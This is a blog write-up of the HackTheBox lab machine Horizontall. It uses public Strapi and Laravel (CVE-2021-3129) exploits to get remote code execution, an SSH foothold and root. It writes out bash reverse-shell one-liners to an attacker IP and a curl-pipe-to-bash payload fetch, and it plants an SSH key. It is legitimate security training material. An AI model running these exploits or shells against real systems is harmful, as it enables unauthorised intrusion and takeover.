Sitemap
Mainul Hasan

Mainul Hasan

Associate Director @Grant Thornton Trying to understand security

HackTheBox — Horizontall

7 min readFeb 20, 2022

--

Horizontall

Summary

This is a write-up for an easy box on hackthebox.eu, named Horizontall. We find an open port, where we find a virtual-host which leads to a RCE on strapi giving us a shell on the box. From there we find Laravel running on port 8000 in the localhost with debug mode enabled, which we exploit to get the shell. So, with out further adieu lets get started.

Recon

We start with a nmap to discover the open ports, I find this below code pretty helpful when doing CTFs as it runs a full port scan pretty fast and then runs another nmap on the open ports using the default scripts and version enumeration flag.

ports=$(nmap -p- --min-rate=1000 -T4 -oA nmap/horizontall_open_ports 10.10.11.105 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports -oA nmap/horizontall 10.10.11.105

Looking at the results,

# Nmap 7.92 scan initiated Sun Feb 20 17:58:30 2022 as: nmap -sC -sV -p22,80 -oA nmap/horizontall 10.10.11.105
Nmap scan report for 10.10.11.105
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 20 17:58:42 2022 -- 1 IP address (1 host up) scanned in 11.93 seconds

We can see two ports are open. SSH on port 22 and HTTP on port 80. There is not much to recon on port 22, but we can definitely work on port 80.

We have to add horizontall.htb in our host file

sudo vi /etc/hosts
/etc/hosts

We can start gobuster in the background to enumerate directories and let’s have a look at the source code

gobuster

gobuster dir -u http://horizontall.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 20 -o root.gobuster

this gobuster doesn’t return us any results.

Looking at the source code

Press enter or click to view image in full size
horizontall.htb source code

we can see that there is app.c68eb462.js file. We can check it for virtual-hosts, and different endpoints.

I am opening the file in sublime text and trying to find possible domain name matches

Press enter or click to view image in full size
app.c68eb462.js search result

We see a new hostname. We can add this to our /etc/hosts file

/etc/hosts

Now, we can run a gobuster on the same.

gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 20 -o api-prod.gobuster

Gobuster gives us 3 directories

/admin                (Status: 200) [Size: 854]
/users (Status: 403) [Size: 60]
/reviews (Status: 200) [Size: 507]

Visiting the /admin we get a login page for strapi

Press enter or click to view image in full size
strapi login page

We can search on searchsploit for exploits

searchsploit strapi
Press enter or click to view image in full size
searchsploit results

We can see there are multiple exploits available. We need to find out the version of strapi. To do so, we can just check the following url and it should return us a version

http://api-prod.horizontall.htb/admin/init
Press enter or click to view image in full size
strapi version

As we can see the version is 3.0.0-beta.17.4, we can use our unauthenticated RCE, as we don’t have credentials.

Let’s copy the exploit to our working directory

searchsploit -m multiple/webapps/50239.py

To run the exploit all we need to do is

python3 50239.py http://api-prod.horizontall.htb

And we get a prompt to enter commands

Press enter or click to view image in full size
RCE

To check if we are getting a callback, we can just start a netcat listener on port 9001 and send a curl request to our listener

curl 10.10.14.9:9001

And we get a callback. We have code execution on the box

RCE achieved

Initial Foothold

Now, we can send a reverse shell payload and get a shell on the machine

bash -c 'bash -i >& /dev/tcp/10.10.14.9/9001 0>&1'
Press enter or click to view image in full size
Lower privilege shell

To make the shell interactive

python -c 'import pty;pty.spawn("/bin/bash")'

The background the shell and run the following commands

stty raw -echo; fg
Press enter or click to view image in full size
Interactive Shell

We can look for possible users and services running on the box

cat /etc/passwd | grep sh$

We can see there are three users

users

We can also note that strapi is a user in the box, and we are logged in as strapi. So, we can create a .ssh folder for the user and paste out public key in the authorized_keys file in order to get ssh access on the box.

Get Mainul Hasan’s stories in your inbox

Join Medium for free to get updates from this writer.

On the remote box

mkdir .ssh

In our box either we can use our existing key or generate a new key

To generate new ssh key

ssh-keygen -f strapi

Now we need to copy strapi.pub to a new file in the remote box

vi authorized_keys

We will paste the content and the change the permissions of the file

chmod 600 authorized_keys

Now, on our machine we change the permission of the private key

chmod 600 strapi

Now, we can login to the system as strapi via ssh

ssh -i strapi strapi@10.10.11.105
Press enter or click to view image in full size
ssh access as strapi

Enumeration

Now that we have a tty on the box we can enumerate more and try to escalate our privilege.

Let’s see what ports are open and what are they doing

netstat -antp 
Press enter or click to view image in full size
output of netstat

We can see that there is service running on port 8000 on localhost. We can forward the port and check the service running on the same.

In order to do so we can reconnect with ssh via

ssh -i strapi -L 8001:127.0.0.1:8000 strapi@10.10.11.105

This will allow us to open the page on our local machine, on port 8001.

Or, we can type ~C as the first command on a line and a prompt will appear, where we can input

-L 8001:127.0.0.1:8000

To forward the port

port forwarded

Now, we can visit the page on our browser

Press enter or click to view image in full size
http://localhost:8000

We can see that is a Laravel v8. We need to run gobuster on the page to check if we find any other directories.

gobuster dir -u http://localhost:8001/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -x php -o laravel.gobuster

We get a directory

Press enter or click to view image in full size
gobuster results

Let’s visit the page,

Press enter or click to view image in full size
http://localhost:8001/profiles

We can see that the debug mode is enabled, we can look for possible exploits that can triggered by debug mode.

Press enter or click to view image in full size
Laravel Exploit

Privilege Escalation

We can see a lot of exploits in the result. The CVE ID is CVE-2021–3129. We can look for the exploits on github

We can work with the below exploit

https://github.com/nth347/CVE-2021-3129_exploit

Lets get the exploit and run it

git clone https://github.com/nth347/CVE-2021-3129_exploit

To run the exploit we run,

python3 exploit.py http://localhost:8001 Monolog/RCE1 id
Press enter or click to view image in full size

Now, that we have code execution as root, we can get a shell as root

To get the shell, let’s create a bash script with our one liner shell. If we try to input the payload directly, we might face issues due to url encoding and bad characters.

I created a file called shell with the following one liner

bash -i >& /dev/tcp/10.10.14.9/9001 0>&1

Hosted the file via python web-server

python3 -m http.server

started the netcat listener on port 9001

nc -lnvp 
Press enter or click to view image in full size
web-server and netcat listener

We, will pipe our shell via bash after downloading it via curl.

python3 exploit.py http://localhost:8001 Monolog/RCE1 "curl 10.10.14.9:8000/shell | bash"

Voila!!! We have a shell as root

Press enter or click to view image in full size
shell as root
Press enter or click to view image in full size
uid

Flags

root@horizontall:~# cat /home/developer/user.txt
19421e40948ab4499c2ae3cdb1..486
root@horizontall:~# cat root.txt
2e8c419618ab284d99fe0ca1da..ecd

That’s all for the box. Hope you enjoy this write-up. Claps and Comments are appreciated. If you find this helpful a follow will be great!

~m1kU

--

--

Mainul Hasan
Mainul Hasan

Written by Mainul Hasan

Associate Director @Grant Thornton Trying to understand security